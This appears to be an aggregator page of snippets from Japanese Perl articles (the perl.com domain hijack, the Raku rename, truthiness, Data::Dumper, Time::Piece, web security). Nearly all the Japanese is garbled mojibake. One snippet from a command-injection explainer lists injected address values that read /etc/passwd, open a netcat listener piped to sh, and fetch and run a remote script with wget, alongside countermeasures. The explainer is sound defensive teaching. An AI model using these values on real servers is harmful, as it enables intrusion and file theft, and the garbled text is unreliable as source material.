令忿°ã®Perlã«ã¤ãã¦å¦ã¹ãæ¬ï¼ã«ãªãäºå®ï¼ã§ã
ã·ã§ã«ã¹ã¯ãªãããæ¸ãã®ãããã - blog.8-p.info ãããè¦ã¦: 夢ã®å¯è½æ§ãé«ããªã£ã¦ãããã§ãããPerlã®ãã©ã°ãããªã«ãã§ãã·ã§ã«ã¹ã¯ãªããã¨æ··å¨ã§ããâ¦â¦ã¨ããããåå¨ããªããµãã«ã¼ãã³å¼ã³åºããå¤é¨ã³ãã³ãå¼ã³åºãã«ãããã¤ããã¾ããã§ããã£ãâ aereal / 鿍è¯çµµ (@aereal) 2021å¹´9æ16æ¥ ã¾ãã ... https://t.co/IF6SyBR4o8â Kazuyoshi Kato (@kzys) 2021å¹´9æ16æ¥ Shell - run shell commands transparently within perl - metacpan.org use Shell qw(cat ps cp); $passwd = cat('</etc/passwd'); @pslines = ps('-ww'), cp("/etc/passwd"
â»ã¿ã¤ãã«ã¯SNSçã«ãããèªåãªã³ã¯ã«ãããªã³ã¯æ¡æ£ãé¿ããããã«perlâ.âcomã®è¡¨è¨ãé¿ãã¦ãã¾ã â»æ¬æã®perlâ.âcomã®è¡¨è¨ã«ã¯å種ãã¼ã«å¼ç¨å¾ã®èªåãªã³ã¯é²æ¢ã®ããããããåå¾ã«Unicodeã¼ãå¹ ã¹ãã¼ã¹ãå ¥ãã¦ãã¾ã 2021/02/03 09:20 JST: å種CPANã¯ã©ã¤ã¢ã³ãã®å®å ¨æ§ã«ã¤ãã¦èª¤è§£ãæãã¦ããã±ã¼ã¹ãè¦åããããã®ã§è¡¨ç¾ãæ¹ãã¾ãã 2021/02/06 22:00 JST: å ¬å¼æ å ±ãæ´æ°ããã¾ããããã¡ã¤ã³ perlâ.âcom ã®å¥ªéã«æåãæ¨©å¨DNSã¯æ£ããã¢ãã¬ã¹ãè¿ãããã«ãªã£ã¦ãã¾ããããããããããDNS浸éåé¡ã«ãã£ã¦ä¸é¨é©åã«æ°ããã¢ãã¬ã¹ãè¿ãã¦ããªãDNSãã£ãã·ã¥ãµã¼ãã¼ãåå¨ããããããã¾ããããã£ã¦ãå©ç¨ããæ¹ã¯æ³¨æãã¦å©ç¨ãã¦ãã ããã æ£ããã¢ãã¬ã¹ã¯ 151.101.*.*/16 ã®ãã®ã§ããéãã¢ãã¬ã¹
Perl 6ã®åç§°ãæ£å¼ã«ãRakuãã¸å¤æ´ããã¨ããGitHubã§ã®ææ¡ã«å¯¾ããPerlçã¿ã®è¦ªã®Larry Wall(TimToady)æ°ãæ¯æã表æãã¦ãã(Larry Wallæ°ã®ã³ã¡ã³ãã blogs.perl.orgã®è¨äºã The Registerã®è¨äº)ã æ¬¡ä¸ä»£Perlã¨ãã¦éçºããã¦ããPerl 6ã ããæ£å¼ãªãªã¼ã¹å¾ãPerl 5ã®éçºãé²ãããã¦ããããPerlãã¨ãã£ãå ´åã«Perl 5ãæãç¶æ ãç¶ãã¦ããããã®ãããPerl 6ã®ååã«ãPerlããå ¥ã£ã¦ããã®ã¯ãããã«ããã¨ãã¦ã8æããGitHubã§åç§°å¤æ´ãè°è«ããã¦ããããã®ã¹ã¬ããã§ã¯ãRaku (楽)ãã¨ããæ¥æ¬èªã«ã¤ãã¦ãåéããå«ãã¦ã¡ãã£ã¨é¢ç½ãè°è«ã«ãªã£ã¦ããã ãã¨ãã¨ãRakuãã¨ããååã¯æ¨å¹´ãPerl 6ã®ã¨ã¤ãªã¢ã¹ã¨ãã¦ä½¿ããããä¸ã¤ã®ååãä»ãã¦ã»ããã¨ããZoffix Zne
qiita.com ãããªã¯ã³ã©ã¤ãã¼ãããã¾ã: % perl -E 'say$!=24' Too many open files ããã®æ£ä½ã«è¿«ã£ã¦ããããã¨æãã¾ãã ã©ã®ããã«è§£éãããã®ã ã¾ãã¯ããããã£ããã©ã®ããã«Parseãããã®ããç¥ãããã«ã -MO=Deparse ãä»ãã¦å®è¡ãã¦ã¿ã¾ãããã % perl -MO=Deparse -E 'say$!=24' use feature 'current_sub', 'evalbytes', 'fc', 'say', 'state', 'switch', 'unicode_strings', 'unicode_eval'; say $! = 24; -e syntax OK say $! = 24 ãã¢ã¯ããã§ãã $! ã¨ãã夿°ã« 24 ãä»£å ¥ãã¦ããã®å¼ã®çµæã say ãåãåã£ã¦ãã¾ãã Perlã®ä»£å ¥å¼ã¯å·¦è¾º
SEE ALSO: blog.perlassociation.org ãªãå¹³æãçµãããã®ãæä¸ã«ï¼ã¨æãæ¹ãããã£ãããã¨æãã¾ãã æãã®ä¸ãæ¸ãã¦ã¿ã¾ãã æ¨ä»ã®Webéçºã®ãã¬ã³ãã¨ãã¦ã¯ãåçåä»ãè¨èªããéçåä»ãè¨èªã¸ã·ãããé²ãã§ãã¾ãã ã¾ããPaaS/SaaS/FaaSã®æ®åã«ããè¨èªé¸æãããæè¡é¸æã¨ãã®ã¢ã¼ããã¯ãã£ãããéè¦ã«ãªã£ã¦ãã¦ããã *1ãã¡ããã°ã©ãã³ã°è¨èªã®éè¦æ§ã¨ãããã®ã¯ã(ç¹ã«åçåä»ãè¨èªã«ããã¦ã¯)æã»ã©éè¦ã§ã¯ãªããªã£ã¦ããã®ã宿 ãã¨æãã¾ãã ãã®ä¸ã§ãPerlã¯ã人æ°åº¦ã§ããã°æ¯è¼çä½ãè¨èªã¨ãããã§ãããã LLã¨å¼ã°ããè¨èªã®ä¸ã§æä½ã®äººæ°ã¨è¨ã£ã¦ãééãã§ã¯ãªãããããã¾ããã ã²ã©ãã¨ãã«ã¯ã1987å¹´ã«ä½ãããPerlã¨1959å¹´ã«ä½ãããCOBOLã並ã¹ã¦èªããããã¨ããããã¾ãã*2 ããã§ããã¼ãã¯Perlã好ãã§
search.cpan.orgã2018å¹´6æ25æ¥ããã£ã¦ééã¨ãªã(The Perl NOCã®è¨äº)ã ãã®ãµã¤ãã¯20å¹´è¿ãåã«Graham Barræ°ãä½ãã1999å¹´åé ããCPANã®Perlã¢ã¸ã¥ã¼ã«ããªã³ã©ã¤ã³ãã«ãæ¤ç´¢æ©è½ãæä¾ãç¶ãã¦ããããããããã®å¤ãã2005年彿ã®Perlã³ã¼ããå ããè¿å¹´ã§ã¯ä¿å®ãè² æ ã¨ãªã£ã¦ããã¨ã®ãã¨ã 幸ãã«ãsearch.cpan.orgãæ ã£ã¦ããæ©è½ã¯MetaCPANã«å¼ãç¶ããã¦ãããééå¾ã¯ãã¹ã¦ã®ãã©ãã£ãã¯ããªãã¤ã¬ã¯ããããã
Perl ã®çå½å¤ã¯ãããã¥ããã¨è¨ããã¾ãã Perl ã¨ã·ã§ã«ã¹ã¯ãªããã§éã«ãªã£ã¦ããã¨æããã»ã©éãé¨åã®çç±ãèãã - Qiita ãã®è¨äºã§ã¯ä»¥ä¸ã®ãããªèå¯ããã¾ããã Perl ã®çå½å¤ã¯ãCè¨èªã®ãããè¸è¥²ãããã®ã«ãªã£ã¦ãããã¨ã¯ããã«ãããã¾ããPerlã«ãããçå½å¤ã®è¤éãã¨ããã®ã¯ãCè¨èªã«ã¯ãªãæååï¼Cè¨èªã®ãããªcharåã¸ã®ãã¤ã³ã¿ã¨ãã£ããã®ã§ã¯ãªãããªããã£ããªãã®ï¼ããªã¹ããæªå®ç¾©ç¶æ ã¨ãã£ããã®ã«å¯¾ããPerlã®èãã¨ãã£ããã®ãå ¥ã£ãããã ã¨æãã¾ããå ã ã®Cè¨èªãçå½å¤åãå°å ¥ããæ´æ°åï¼intåï¼ã§çå½å¤åã代ç¨ããå罪ãPerlãåãç¶ãã§ããã¨ãããã®ã§ã¯ãªãã§ããããã ããå°ãèå¯ãã¦ããã¾ãããã Perl ã«ãããå½ã¨è©ä¾¡ãããå¤ Perl ã«ã¯çå½å¤åï¼ãã¼ã«åï¼ã¨ãã£ããã®ã¯ããã¾ãããPerl ã§ã®çå½ã®éãã¯ãããã¥ãã
Data::Dumper::AutoEncode ã¨ããã¢ã¸ã¥ã¼ã«ãããã¾ãã¦ã主㫠printãããã°ã®ãä¾ã«ä¾¿å©ãªå¤æ°ã®ãã³ãã¢ã¸ã¥ã¼ã«åã§ãã ããã¡ã¯ãã¹ã¿ã³ãã¼ãã§ããã¨ããã® Data::Dumper ã§ãã³ãããã¨ã\x{304a}\x{3067}\x{3093}ããããªæãã«ã¨ã¹ã±ã¼ãããã¦ãã¾ããã«ããã¤ããªæååãã Data::Dumper::AutoEncode ã® eDumper ã¨ãã颿°ã使ãã¨ãèªåçã«ã¨ã³ã³ã¼ããã¦æ®éã«èªããç¶æ ã§åºåãã¦ããã¾ãã use utf8; use Data::Dumper::AutoEncode; # export `eDumper` and `Dumper` my $foo = +{ bar => 'ãã§ã' }; print Dumper($foo); # { bar => "\x{304a}\x{3067}\x{309
Perl ⺠here ããã°ã©ãã³ã°ãæ¸ãã¦ããã¨æ¡ä»¶ã«ãã£ã¦å¦çãå¤ããããåãå¦çãç¹°ãè¿ããããªãå ´åãããã¾ãã ãã®ãããªå ´åã¯ifæãforæã使ããã¨ã«ãã£ã¦æ¡ä»¶åå²ã¨ç¹°ãè¿ããå®ç¾ã§ãã¾ãã æ¡ä»¶åå²ã®åºç¤ æ¡ä»¶åå²ã®åºç¤ã解説ãã¾ãã ifæ Perlã§æ¡ä»¶åå²ãè¡ãã«ã¯ifæã使ç¨ãã¾ããã¾ãæåã«ç°¡åãªæ¡ä»¶åå²ãæ¸ãã¦ã¿ã¾ãã夿°ã®å¤ãã5ãã®å ´åã«ãOKãã¨åºåããifæã§ãã my $num = 5; if ($num == 5) { print "OK\n"; } ifæã¯ä»¥ä¸ã®ãããªæ§æã§ããæ¡ä»¶ãçã«ãªã£ãã¨ãã«ãç¶ããããã¯ã®ä¸ãå®è¡ããã¾ãã if (æ¡ä»¶) { ...; } ==ã¯æ¯è¼æ¼ç®åã§ãæ°å¤ãçããå ´åã«çãè¿ãã¾ãã ãã®ä¾ã®å ´åã¯ã夿°ã«ã¯5ãå ¥ã£ã¦ããã®ã§ã$num == 5ãã¯çãè¿ãã¾ãã ããã¦ãæ¡ä»¶ãçãªã®ã§ãç¶ããããã¯ã®ä¸èº«
仿¥ããããªãã¤ã¼ããè¦ããã¾ããã å¨ï¼ã®ã¯ã©ã¹ã®å¯ãæ¸ãããæ¥½ããã£ããããã¾ãä¼ãããããå¤ãä¸ããã©ãªã¨ã²ããåæçºè¦ãã鿥ã£ã¦éç·¨ãã¤ããã¨é¯é°ï¼ãµããµã¯ã©ï¼ã£ã¦èªãããããä¼¼ããããªçèªãè¦ã¤ãããæãã¦ãBy çºç°é«å²(ä»®å) å½¼ãç¡äºã«ç¤¾ä¼ã«é©å¿ã§ãã¾ãããã«ãâ è¤å·ï½µï¾ï¾ï½¼ï¾ï½°ï¾ (@Forangina) 2017å¹´3æ21æ¥ ã¼ããããããã®ã¯å¤§å¥½ãã§ãã ï¼ç¤¾ä¼ã«é©å¿ã§ãã¦ãããã©ããã¯å¾®å¦ãªã¨ããã§ãï¼ ããã§ãããããã®ãæ¢ãã¦ã¿ããã¨ã«ãã¾ããã æ¼¢åã®æ§é ã«ã¤ãã¦ã¯ãæ¼¢åæ§é æ å ±ãã¼ã¿ãã¼ã¹ï¼CHISEï¼ã¨ãããã®ãããã¾ãã ï¼ããªãã®å´åãããã£ã¦ããã¨æããããã¼ã¿ãã¼ã¹ã§ããä½ãããæ¹ã«æè¬ãã¾ããï¼ ä»åã¯ãããã使ããã¦ããã ãã¾ãã % git clone http://git.chise.org/git/chise/ids.git ãã®ä¸ã®
yapcjapan2016_lt.md 5åã§ããã Perl and web security ma.la CSRFã¨ãXSSã¨ã CSRF: ãã¬ã¼ã ã¯ã¼ã¯ã®æ©è½ä½¿ã£ã¦ä¸ãã XSS: Xslateã¨ãèªåã¨ã¹ã±ã¼ããã¦ä¸ãããjsã®åççæã¯ãã㪠çµãã æ¬é¡ YAPCãªã®ã§Perlåºæã®åé¡ã«ã¤ãã¦è§£èª¬ãã¾ãã Webã¢ããªã±ã¼ã·ã§ã³ã®ä¸è¬çãªæµã ãã©ã¡ã¼ã¿åãåã(ãã©ã¼ã ã¨ãJSONã¨ã) ä½ããã®å¦çããã ã¬ã¹ãã³ã¹ãè¿ã(HTMLã¨ãJSONã¨ã) ãã©ã¼ã ãJSONãå®å ¨ã«åãåãã«ã¯ paramã¯scalarã§åãåãã¾ããã Why $params = { name => $r->param("name"), value => $r->param("value"), } ããããã㨠?name=hoge&name=fuga ã§å£ããã list context
@nqounetã§ãã 使 ãå¤ã«ã¯ã¾ã£ã¦ãã¾ã£ããã¨ããã£ãã®ã§ãã¾ããã£ããããªãããã«ã¡ã¢ãã¦ããã¾ãã é åãè¿ãã¡ã½ãããå¼ã¶æã«ãå®å ¨çã®ã¤ããã§ãããªæãã§æ¸ãã¦ã¾ããã
ã¤ã³ã¿ã¼ãããèµ·æ¥å®¶ã®åé³³æ°ãå²ä¸æå¹´å°ã®35æ³ã§è¡æ¿é¢ï¼å é£ï¼æ¿åå§å¡ï¼ç¡ä»»æå¤§è£ã«ç¸å½ï¼ã«å°±ä»»ãããã¨ã25æ¥ãæããã«ãªã£ããè¡æ¿é¢ã®ç«¥æ¯æºå ±éå®ãçºè¡¨ãããåæ°ã¯ãã¤ã³ã¿ã¼ãããã®ç¥ç«¥ãããã½ã³ã³ã®å¤©æãã¨ããå声ãèªã䏿¹ã§ãä¸å¦ä¸éãæ§è»¢æçµé¨ãªã©ç°è²ã®çµæ´ã®æã¡ä¸»ããå ¬å ±ã®ä»äºã«å ¨åæçã§ããããã«ãªãã®ã¯å¹¸éãã¨ä»å¾ã«ææ¬²ãã¿ãã¦ããã
æ»æè ã¯ããã® to_address ã«æ¬¡ã®ãããªæååãä¸ãã¦ããµã¼ãéç¨è ã®æå³ã«åããã³ãã³ãã®å®è¡ãè¡ããããã¨ãã§ããã æå ¥ããæåå: evil@site </etc/passwd # âã/etc/passwd ãã¡ã¤ã«ãæµåºãã æå ¥ããæåå: dummy@site </dev/null; nc -l -p 8080 | sh # âãé éããã·ã§ã«ã³ãã³ãã®æå ¥ãå¾ ã¡åããï¼ãã¡ã¤ã¢ã¦ã©ã¼ã«ã§é»æ¢ãããªãã¨ãï¼ æå ¥ããæåå: dummy@site </dev/null; wget http://site/badscript; sh badscript # âãæªæã®ã¹ã¯ãªããããã¦ã³ãã¼ããå®è¡ããããã 対ç ãã®1ï¼ ãã£ããã·ã§ã«ãåãããªã èªåã§ã¯ãã®ã¤ãããç¡ãã¦ããããã°ã©ããã·ã§ã«ãèµ·åããAPIãæ°ã¥ãã¬ãã¡ã«ä½¿ã£ã¦ãããã¨ãããããã ä½¿ãæ¹ã«
Perl ⺠ãã¼ã¸ã§ã³æ å ± ⺠here Perlã®ææ°ãã¼ã¸ã§ã³5.24ããªãªã¼ã¹ããã¾ãããä»åã®ãªãªã¼ã¹ã§ã¯ãPerlã®ãµãã«ã¼ãã³ã¨æ°å¤è¨ç®ã®é«éããªããã¦ãã¾ããã¾ããæ©è½é¢ã§ã¯ãUnicode 8.0ã®ãµãã¼ãããªããã¾ãããææ³çãªå¼·åã¨ãã¦ãåæ¹ããªãã¡ã¬ã³ã¹ã®å®é¨çãªã¹ãã¼ã¿ã¹ãã¯ãããã¦ãã¾ãããã®ä»ãç´°ããªãã°ãã£ãã¯ã¹ããªããã¾ããã Perl 5.22ã«å¼ãç¶ãPerl 5.24ã§ã¯ãPerlã®å é¨ã³ã¼ãã®æ¹åããªããã¦ãã¾ããããã©ã¼ãã³ã¹ã®æ¹åã¨ãã大ããªã¡ãªãããããã¾ãããããã¤ãã®å¯ä½ç¨ãããã¾ãã®ã§ãåããã¦ã解説ãã¾ãã èªåãæè¡çã«ä¸æ £ãã§ãå®å®çãªPerlãæããªããä»ã®ã¨ããPerl 5.20ãããããã§ããæè¡çã«å¼·ããããã©ã¼ãã³ã¹ã®æ¹åãæ°ããæ©è½ã«ãã£ã¬ã³ã¸ãããæ¹ã¯ãPerl 5.24ã«ãã©ã¤ãã¦ã¿ã¦ãã ããã 以ä¸ã§ãPerl
ããã«ã¡ã¯ãã¢ããªã±ã¼ã·ã§ã³ã¨ã³ã¸ãã¢ã® id:nanto_vi ã§ãããã®è¨äºã¯ã¯ã¦ãªãããããã¼ã¢ãã³ãã³ãã«ã¬ã³ãã¼ 2015 ã® 2 æ¥ç®ã§ãã Perl ã§æ¥æãæ±ãã¢ã¸ã¥ã¼ã«ã®ã²ã¨ã¤ã« Time::Piece ãããã¾ããã³ã¢ã¢ã¸ã¥ã¼ã«ãªã®ã§æè»½ã«ä½¿ãã¾ãããPerl - Time::Piece ã«é¢ããã¨ãã¨ãã®ãªãã³ã - Qiita ã«ãã¾ã¨ãããã¦ããããã«æ³¨æãã¹ãç¹ãå¤ãã§ããããã§ã¯ããã®ãããªæ³¨æç¹ãããã¤ãæãã¦ããããã¨æãã¾ãã ãªãã以ä¸ã®ã³ã¼ã㯠Time::Piece 1.31 ã§ç¢ºèªãã¦ãã¾ãã ã¿ã¤ã ã¾ã¼ã³æ å ±ãæããªã 大åæã¨ãã¦ãTime::Piece ã®ã¤ã³ã¹ã¿ã³ã¹ã¯ã¿ã¤ã ã¾ã¼ã³æ å ±ãæã£ã¦ãã¾ãããæã£ã¦ããã®ã¯ãã¼ã«ã«æéã GMT ãã®åºå¥ã®ã¿ã§ãããã®ããã¼ã«ã«æéããå®éã«ã©ã®ã¿ã¤ã ã¾ã¼ã³ãªã®ãã¯ãç°å¢ (ç°å¢å¤æ° TZ ã®å¤ãª
ãªãªã¼ã¹ãé害æ å ±ãªã©ã®ãµã¼ãã¹ã®ãç¥ãã
ææ°ã®äººæ°ã¨ã³ããªã¼ã®é ä¿¡
å¦çãå®è¡ä¸ã§ã
j次ã®ããã¯ãã¼ã¯
kåã®ããã¯ãã¼ã¯
lãã¨ã§èªã
eã³ã¡ã³ãä¸è¦§ãéã
oãã¼ã¸ãéã
{{#tags}}- {{label}}
{{/tags}}